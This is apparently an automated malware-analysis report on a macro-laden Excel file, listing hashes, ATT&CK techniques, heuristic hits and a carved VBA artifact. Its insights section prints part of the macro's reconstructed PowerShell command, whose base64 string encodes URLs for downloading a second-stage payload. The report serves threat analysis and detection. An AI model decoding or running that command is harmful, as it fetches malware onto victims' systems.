Office (OLE) / .XLSX malware analysis — malicious · 381807695e450df1

MALICIOUS

Office (OLE) / .XLSX

142.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 6fe5459484e18549e4f8a3c5211f1ace SHA-1: 17407b7515b04e3b7550d4840abb4ed19a3bab08 SHA-256: 381807695e450df1dc1b98a1c5036cf3ace0962cbda9910b64dba75f34748d89

280 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1059.003 Windows Command Shell

The presence of a Workbook_Open macro and references to Wscript.Shell indicate an attempt to execute malicious code upon opening the Excel file. The script constructs a command line that includes a base64 encoded string which decodes to a list of URLs, likely for downloading a second-stage payload. Specifically, the script reconstructs the following command: 'hell -e Has4htksdighfdGJSXDghs4tshdkrg zasg3ksjfHXGHJXdfezse34 nc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAGcAbwB5AGEAbAB1AGEAdAAuAHYAbQBlAHMAaAAuAGkAbgAvADAAdgA2AGsAYwBuAHkALwBDAEcALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAcgBzAC4AcwByAGwALwB3AHAALQBhAGQAbQBpAG4ALwA3AEYAZgBrADYATABMAE4AMgBYAHMAMgBXAC8ALABoAH

Heuristics 7

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7821 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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